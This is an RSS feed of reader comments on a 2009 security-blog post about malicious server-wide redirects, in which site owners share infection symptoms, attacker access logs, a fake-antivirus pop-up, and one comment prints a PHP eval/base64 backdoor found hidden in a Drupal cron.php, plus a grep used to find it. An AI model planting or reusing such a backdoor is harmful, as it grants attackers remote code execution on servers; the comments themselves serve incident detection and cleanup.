<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Goscanpark: 13 Facts About Malicious Server-Wide Meta Redirects.</title>
	<atom:link href="http://blog.unmaskparasites.com/2009/07/23/goscanpark-13-facts-about-malicious-server-wide-meta-redirects/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.unmaskparasites.com/2009/07/23/goscanpark-13-facts-about-malicious-server-wide-meta-redirects/</link>
	<description>Website insecurity by example</description>
	<lastBuildDate>Thu, 29 Jul 2010 19:13:19 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: Philippe Thomassigny</title>
		<link>http://blog.unmaskparasites.com/2009/07/23/goscanpark-13-facts-about-malicious-server-wide-meta-redirects/comment-page-1/#comment-6778</link>
		<dc:creator>Philippe Thomassigny</dc:creator>
		<pubDate>Sat, 20 Feb 2010 01:07:05 +0000</pubDate>
		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=262#comment-6778</guid>
		<description>I published the article here

&lt;a href=&quot;http://www.thomassigny.org/?P=editoeditorial&amp;Article=5&quot; rel=&quot;nofollow&quot;&gt;http://www.thomassigny.org/?P=editoeditorial&amp;Article=5&lt;/a&gt;

Have fun !</description>
		<content:encoded><![CDATA[<p>I published the article here</p>
<p><a href="http://www.thomassigny.org/?P=editoeditorial&amp;Article=5" rel="nofollow">http://www.thomassigny.org/?P=editoeditorial&amp;Article=5</a></p>
<p>Have fun !</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Philippe Thomassigny</title>
		<link>http://blog.unmaskparasites.com/2009/07/23/goscanpark-13-facts-about-malicious-server-wide-meta-redirects/comment-page-1/#comment-6607</link>
		<dc:creator>Philippe Thomassigny</dc:creator>
		<pubDate>Fri, 15 Jan 2010 19:21:39 +0000</pubDate>
		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=262#comment-6607</guid>
		<description>I got the full script and executables, I just got them, i am preparing an article and stuff. Anybody interested into helping me to source the injected binary that hijack the apache requests can contact me</description>
		<content:encoded><![CDATA[<p>I got the full script and executables, I just got them, i am preparing an article and stuff. Anybody interested into helping me to source the injected binary that hijack the apache requests can contact me</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Gabi86</title>
		<link>http://blog.unmaskparasites.com/2009/07/23/goscanpark-13-facts-about-malicious-server-wide-meta-redirects/comment-page-1/#comment-5961</link>
		<dc:creator>Gabi86</dc:creator>
		<pubDate>Sat, 28 Nov 2009 01:52:05 +0000</pubDate>
		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=262#comment-5961</guid>
		<description>What should I do to get rid of this problem?

How can I catch the malicious process and destroy it forever?

I read only information I receive on my websites, but not a solution.</description>
		<content:encoded><![CDATA[<p>What should I do to get rid of this problem?</p>
<p>How can I catch the malicious process and destroy it forever?</p>
<p>I read only information I receive on my websites, but not a solution.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: MadPsy</title>
		<link>http://blog.unmaskparasites.com/2009/07/23/goscanpark-13-facts-about-malicious-server-wide-meta-redirects/comment-page-1/#comment-5760</link>
		<dc:creator>MadPsy</dc:creator>
		<pubDate>Wed, 18 Nov 2009 09:52:49 +0000</pubDate>
		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=262#comment-5760</guid>
		<description>This security flaw is fixed in Apache&#039;s APR v1.3.6 but so far is only packaged in Fedora 10/11.

smaert. com/apache_mischief/writeup. txt

The report on the above link tells you everything you need to know about how it works.</description>
		<content:encoded><![CDATA[<p>This security flaw is fixed in Apache&#8217;s APR v1.3.6 but so far is only packaged in Fedora 10/11.</p>
<p>smaert. com/apache_mischief/writeup. txt</p>
<p>The report on the above link tells you everything you need to know about how it works.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Phred Phrogg</title>
		<link>http://blog.unmaskparasites.com/2009/07/23/goscanpark-13-facts-about-malicious-server-wide-meta-redirects/comment-page-1/#comment-5542</link>
		<dc:creator>Phred Phrogg</dc:creator>
		<pubDate>Tue, 10 Nov 2009 22:36:21 +0000</pubDate>
		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=262#comment-5542</guid>
		<description>Here’s a worthwhile read: smaert. com/apache_mischief/writeup. txt (remove the spaces)

There are two symptoms of this problem which seem to make different browsers behave differently:

* a “virus warning” in IE and Opera
* blank pages in Firefox and Safari where a view source shows a bunch of weird links embedded in a portion of a js

The virus scan exploit only appears in IE (6,7,8) and Opera – that is to say
the blank pages don’t happen but on random pages you get the virus warning. In IE the you get the pop-up box that you must not click but in Opera you can stop all the javascripts running and you can see that the browser has been made to open in our case:

available-scanner. com/scan1/?pid= 

Effectively this page spoofs a Windows screen.

The warning message box displayed in both IE and Opera is

——————begins————————-

Warning!!! Your personal computer needs to install antivirus software!
Cyber Security can perform fast and free virus and malicious software scan
of your computer .

——————ends————————-

There are two clickable buttons in the message both of which initiate a download.

In Firefox you only get random blank pages with the odd js when you view source

In Safari you only get what Firefox gets but the browser freezes.

The view source of the blank page reveals a set of links which are described elsewhere here but in our case the  links were to  alleged movie download pages.</description>
		<content:encoded><![CDATA[<p>Here’s a worthwhile read: smaert. com/apache_mischief/writeup. txt (remove the spaces)</p>
<p>There are two symptoms of this problem which seem to make different browsers behave differently:</p>
<p>* a “virus warning” in IE and Opera<br />
* blank pages in Firefox and Safari where a view source shows a bunch of weird links embedded in a portion of a js</p>
<p>The virus scan exploit only appears in IE (6,7,8) and Opera – that is to say<br />
the blank pages don’t happen but on random pages you get the virus warning. In IE the you get the pop-up box that you must not click but in Opera you can stop all the javascripts running and you can see that the browser has been made to open in our case:</p>
<p>available-scanner. com/scan1/?pid= </p>
<p>Effectively this page spoofs a Windows screen.</p>
<p>The warning message box displayed in both IE and Opera is</p>
<p>——————begins————————-</p>
<p>Warning!!! Your personal computer needs to install antivirus software!<br />
Cyber Security can perform fast and free virus and malicious software scan<br />
of your computer .</p>
<p>——————ends————————-</p>
<p>There are two clickable buttons in the message both of which initiate a download.</p>
<p>In Firefox you only get random blank pages with the odd js when you view source</p>
<p>In Safari you only get what Firefox gets but the browser freezes.</p>
<p>The view source of the blank page reveals a set of links which are described elsewhere here but in our case the  links were to  alleged movie download pages.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Ronan</title>
		<link>http://blog.unmaskparasites.com/2009/07/23/goscanpark-13-facts-about-malicious-server-wide-meta-redirects/comment-page-1/#comment-4747</link>
		<dc:creator>Ronan</dc:creator>
		<pubDate>Wed, 14 Oct 2009 18:14:53 +0000</pubDate>
		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=262#comment-4747</guid>
		<description>We had a similar problem on one of our servers.

I finally managed to locate the backdoor script in a client&#039;s site using the grep commands listed above.  However I never actually saw any suspicious processes running in the process list.  Obviously they have learned to hide the process in question or it only runs for a very short length of time. 

This is a somewhat scary type of exploit. I wish we knew what code they were using to compromise apache so we could further mitigate against this type of attack. It should not be possible to do this from a standard user account and it&#039;s the first time I have ever come across anything like this. Anyway I have included some more details below which may help others.

PHP script was called &quot;4_text2.php&quot; inside in the images directory of a site. Site in question is extremely basic static page with no running PHP scripts and very few files. The only way this file could have been uploaded would be via compromised FTP. It was uploaded on April 29th however it has definitely not been active for anywhere near that long.  According to the sites access logs something makes a POST request to the script nearly once per day.

94.113.68.144 - - [09/Oct/2009:16:29:44 +0100] &quot;POST /images/4_text2.php HTTP/1.1&quot; 200 32 &quot;http://www.google.com&quot; &quot;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)&quot;
94.113.68.144 - - [09/Oct/2009:16:29:45 +0100] &quot;POST /images/4_text2.php HTTP/1.1&quot; 200 398 &quot;http://www.google.com&quot; &quot;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)&quot;

The IP&#039;s are random so it&#039;s probably a botnet of some sort or else they are using multiple proxies. Another request later on in the day after the file was removed.

89.228.90.115 - - [10/Oct/2009:00:40:39 +0100] &quot;POST /images/4_text2.php HTTP/1.1&quot; 404 216 &quot;http://www.google.com&quot; &quot;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)&quot;
89.78.135.127 - - [10/Oct/2009:00:40:45 +0100] &quot;POST /images/4_text2.php HTTP/1.1&quot; 404 216 &quot;http://www.google.com&quot; &quot;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)&quot;
84.2.6.189 - - [10/Oct/2009:00:40:51 +0100] &quot;POST /images/4_text2.php HTTP/1.1&quot; 404 216 &quot;http://www.google.com&quot; &quot;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)&quot;
92.81.178.251 - - [10/Oct/2009:00:40:57 +0100] &quot;POST /images/4_text2.php HTTP/1.1&quot; 404 216 &quot;http://www.google.com&quot; &quot;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)&quot;

Also worrying is the fact that we had a number of functions disabled in PHP yet this was still able to get in.

Php.ini
disable_functions: exec, passthru, shell_exec, system, proc_open, parse_ini_file, show_source
enable_dl: Off

The server in question is a bit old so the software is not the newest but it is patched with all the latest security updates from Redhat. It&#039;s an RHEL3 box with PHP 4.4.2 and Apache/2.0.46.</description>
		<content:encoded><![CDATA[<p>We had a similar problem on one of our servers.</p>
<p>I finally managed to locate the backdoor script in a client&#8217;s site using the grep commands listed above.  However I never actually saw any suspicious processes running in the process list.  Obviously they have learned to hide the process in question or it only runs for a very short length of time. </p>
<p>This is a somewhat scary type of exploit. I wish we knew what code they were using to compromise apache so we could further mitigate against this type of attack. It should not be possible to do this from a standard user account and it&#8217;s the first time I have ever come across anything like this. Anyway I have included some more details below which may help others.</p>
<p>PHP script was called &#8220;4_text2.php&#8221; inside in the images directory of a site. Site in question is extremely basic static page with no running PHP scripts and very few files. The only way this file could have been uploaded would be via compromised FTP. It was uploaded on April 29th however it has definitely not been active for anywhere near that long.  According to the sites access logs something makes a POST request to the script nearly once per day.</p>
<p>94.113.68.144 &#8211; - [09/Oct/2009:16:29:44 +0100] &#8220;POST /images/4_text2.php HTTP/1.1&#8243; 200 32 &#8220;http://www.google.com&#8221; &#8220;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)&#8221;<br />
94.113.68.144 &#8211; - [09/Oct/2009:16:29:45 +0100] &#8220;POST /images/4_text2.php HTTP/1.1&#8243; 200 398 &#8220;http://www.google.com&#8221; &#8220;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)&#8221;</p>
<p>The IP&#8217;s are random so it&#8217;s probably a botnet of some sort or else they are using multiple proxies. Another request later on in the day after the file was removed.</p>
<p>89.228.90.115 &#8211; - [10/Oct/2009:00:40:39 +0100] &#8220;POST /images/4_text2.php HTTP/1.1&#8243; 404 216 &#8220;http://www.google.com&#8221; &#8220;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)&#8221;<br />
89.78.135.127 &#8211; - [10/Oct/2009:00:40:45 +0100] &#8220;POST /images/4_text2.php HTTP/1.1&#8243; 404 216 &#8220;http://www.google.com&#8221; &#8220;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)&#8221;<br />
84.2.6.189 &#8211; - [10/Oct/2009:00:40:51 +0100] &#8220;POST /images/4_text2.php HTTP/1.1&#8243; 404 216 &#8220;http://www.google.com&#8221; &#8220;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)&#8221;<br />
92.81.178.251 &#8211; - [10/Oct/2009:00:40:57 +0100] &#8220;POST /images/4_text2.php HTTP/1.1&#8243; 404 216 &#8220;http://www.google.com&#8221; &#8220;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)&#8221;</p>
<p>Also worrying is the fact that we had a number of functions disabled in PHP yet this was still able to get in.</p>
<p>Php.ini<br />
disable_functions: exec, passthru, shell_exec, system, proc_open, parse_ini_file, show_source<br />
enable_dl: Off</p>
<p>The server in question is a bit old so the software is not the newest but it is patched with all the latest security updates from Redhat. It&#8217;s an RHEL3 box with PHP 4.4.2 and Apache/2.0.46.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Texuremaster</title>
		<link>http://blog.unmaskparasites.com/2009/07/23/goscanpark-13-facts-about-malicious-server-wide-meta-redirects/comment-page-1/#comment-4635</link>
		<dc:creator>Texuremaster</dc:creator>
		<pubDate>Sat, 10 Oct 2009 15:15:28 +0000</pubDate>
		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=262#comment-4635</guid>
		<description>Try the following search string with google:

edf49a73f1671384311d493b6684bcc6

http://www.google.de/search?hl=de&amp;q=edf49a73f1671384311d493b6684bcc6&amp;meta=

Lean back and see how much sites are infected with these redirects.</description>
		<content:encoded><![CDATA[<p>Try the following search string with google:</p>
<p>edf49a73f1671384311d493b6684bcc6</p>
<p><a href="http://www.google.de/search?hl=de&amp;q=edf49a73f1671384311d493b6684bcc6&amp;meta=" rel="nofollow">http://www.google.de/search?hl=de&amp;q=edf49a73f1671384311d493b6684bcc6&amp;meta=</a></p>
<p>Lean back and see how much sites are infected with these redirects.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Steve</title>
		<link>http://blog.unmaskparasites.com/2009/07/23/goscanpark-13-facts-about-malicious-server-wide-meta-redirects/comment-page-1/#comment-4611</link>
		<dc:creator>Steve</dc:creator>
		<pubDate>Fri, 09 Oct 2009 17:21:31 +0000</pubDate>
		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=262#comment-4611</guid>
		<description>Hello!

We have the same problem on our server.
Sometimes visitors got a JS code instead of the real content.

If I restart the Apache, everything is okey for a day, but later (randomly) the JS code appears again.
I spent a whole day by waiting for the JS code appearing. 
At 18:08 o&#039;clock I realised the virus began to work again.

I searched the whole file system:

find . -iname &#039;*php&#039; &#124; xargs grep &#039;\$_POST\[\&quot;p\&quot;\]&#039; -sl

It found 1 php file (cron.php), I checked it and I found an inserted PHP code:

/*69e486fb604f458b2262e8cd52727773*/if(isset($_POST[&quot;p&quot;])&amp;&amp;$_POST[&quot;p&quot;]==&quot;92e0297d52adb5a4b249308e0249139d&quot;){eval(base64_decode($_POST[&quot;c&quot;]));exit;}/*69e486fb604f458b2262e8cd52727773*/

(if you dont use wordwrap, you cant see it at first sight because of many whitespaces.)

(I know cron.php file (drupal cms) and this code was not there when our customer installed his CMS system, I think his ftp password was stolen, and a script modified this file)

I checked access log (for this website), search for the filename and I found this:

80.99.119.69 - - [09/Oct/2009:17:33:02 +0200] &quot;POST /cron.php HTTP/1.1&quot; 200 32 &quot;http://www.google.com&quot; &quot;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)&quot; 0 website.com
80.99.119.69 - - [09/Oct/2009:17:33:03 +0200] &quot;POST /cron.php HTTP/1.1&quot; 200 5339 &quot;http://www.google.com&quot; &quot;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)&quot; 4 website.com

So I think this was happened:
17:33: The virus was activated by an external call (Posted data to cron.php, which was running the posted code - eval function do that)
18:08: Confirmed: I realised the virus began to work again in my browser (by reloading pages many times from our server)

I hope I found the problem. I keep checking our server...

Maybe this post will help to someone to get closer to solve this problem.</description>
		<content:encoded><![CDATA[<p>Hello!</p>
<p>We have the same problem on our server.<br />
Sometimes visitors got a JS code instead of the real content.</p>
<p>If I restart the Apache, everything is okey for a day, but later (randomly) the JS code appears again.<br />
I spent a whole day by waiting for the JS code appearing.<br />
At 18:08 o&#8217;clock I realised the virus began to work again.</p>
<p>I searched the whole file system:</p>
<p>find . -iname &#8216;*php&#8217; | xargs grep &#8216;\$_POST\[\"p\"\]&#8216; -sl</p>
<p>It found 1 php file (cron.php), I checked it and I found an inserted PHP code:</p>
<p>/*69e486fb604f458b2262e8cd52727773*/if(isset($_POST["p"])&amp;&amp;$_POST["p"]==&#8221;92e0297d52adb5a4b249308e0249139d&#8221;){eval(base64_decode($_POST["c"]));exit;}/*69e486fb604f458b2262e8cd52727773*/</p>
<p>(if you dont use wordwrap, you cant see it at first sight because of many whitespaces.)</p>
<p>(I know cron.php file (drupal cms) and this code was not there when our customer installed his CMS system, I think his ftp password was stolen, and a script modified this file)</p>
<p>I checked access log (for this website), search for the filename and I found this:</p>
<p>80.99.119.69 &#8211; - [09/Oct/2009:17:33:02 +0200] &#8220;POST /cron.php HTTP/1.1&#8243; 200 32 &#8220;http://www.google.com&#8221; &#8220;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)&#8221; 0 website.com<br />
80.99.119.69 &#8211; - [09/Oct/2009:17:33:03 +0200] &#8220;POST /cron.php HTTP/1.1&#8243; 200 5339 &#8220;http://www.google.com&#8221; &#8220;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)&#8221; 4 website.com</p>
<p>So I think this was happened:<br />
17:33: The virus was activated by an external call (Posted data to cron.php, which was running the posted code &#8211; eval function do that)<br />
18:08: Confirmed: I realised the virus began to work again in my browser (by reloading pages many times from our server)</p>
<p>I hope I found the problem. I keep checking our server&#8230;</p>
<p>Maybe this post will help to someone to get closer to solve this problem.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Texturemaster</title>
		<link>http://blog.unmaskparasites.com/2009/07/23/goscanpark-13-facts-about-malicious-server-wide-meta-redirects/comment-page-1/#comment-4552</link>
		<dc:creator>Texturemaster</dc:creator>
		<pubDate>Wed, 07 Oct 2009 06:57:24 +0000</pubDate>
		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=262#comment-4552</guid>
		<description>I have written 60 support tickets to my hosting provider and nothing happens. He always says I am using uncertain scripts. So I write a macro which visits all websites on this shared server automatically and make a screenshot of the site. After the macro makes 1000 Screenshots I detect 12 infected sites. And one of these sites belongs to my hoster (LOL). I have send these screenshots to my hoster and now he reacts. He transfered all my data to a new shared server. And now...all seems to be OK.

Because these attacks are randomly it will be tricky and lucky to make a screenshot at the same time when the attack starts, that was the reason why I write these macro.

I have used this macro on a clean pc, with windows xp and sp3, all xp updates and KIS 2010</description>
		<content:encoded><![CDATA[<p>I have written 60 support tickets to my hosting provider and nothing happens. He always says I am using uncertain scripts. So I write a macro which visits all websites on this shared server automatically and make a screenshot of the site. After the macro makes 1000 Screenshots I detect 12 infected sites. And one of these sites belongs to my hoster (LOL). I have send these screenshots to my hoster and now he reacts. He transfered all my data to a new shared server. And now&#8230;all seems to be OK.</p>
<p>Because these attacks are randomly it will be tricky and lucky to make a screenshot at the same time when the attack starts, that was the reason why I write these macro.</p>
<p>I have used this macro on a clean pc, with windows xp and sp3, all xp updates and KIS 2010</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: lilpixie4u</title>
		<link>http://blog.unmaskparasites.com/2009/07/23/goscanpark-13-facts-about-malicious-server-wide-meta-redirects/comment-page-1/#comment-4486</link>
		<dc:creator>lilpixie4u</dc:creator>
		<pubDate>Sat, 03 Oct 2009 16:39:51 +0000</pubDate>
		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=262#comment-4486</guid>
		<description>My problem appears to be identical. I have blocked ftp access from all ip addresses except the 2 permanent ones I use. I have changed my password and don&#039;t store my password on my home pc but still the code of my web pages is modified with the insertion of this sort of stuff:




The pages that are attacked are only those with high hit rates. They are located in 3 separate directories on the server.
My server access logs show I did not access my account on the dates when my pages have been modified. My computer was not in use on those days. The copies of the pages on my pc are clean. 

I sure hope someone can help us because my web host is blaming my pc for the source of the problem. I scan as stealth on grc.com and have avg running continuously. Avg scans are always clean.</description>
		<content:encoded><![CDATA[<p>My problem appears to be identical. I have blocked ftp access from all ip addresses except the 2 permanent ones I use. I have changed my password and don&#8217;t store my password on my home pc but still the code of my web pages is modified with the insertion of this sort of stuff:</p>
<p>The pages that are attacked are only those with high hit rates. They are located in 3 separate directories on the server.<br />
My server access logs show I did not access my account on the dates when my pages have been modified. My computer was not in use on those days. The copies of the pages on my pc are clean. </p>
<p>I sure hope someone can help us because my web host is blaming my pc for the source of the problem. I scan as stealth on grc.com and have avg running continuously. Avg scans are always clean.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
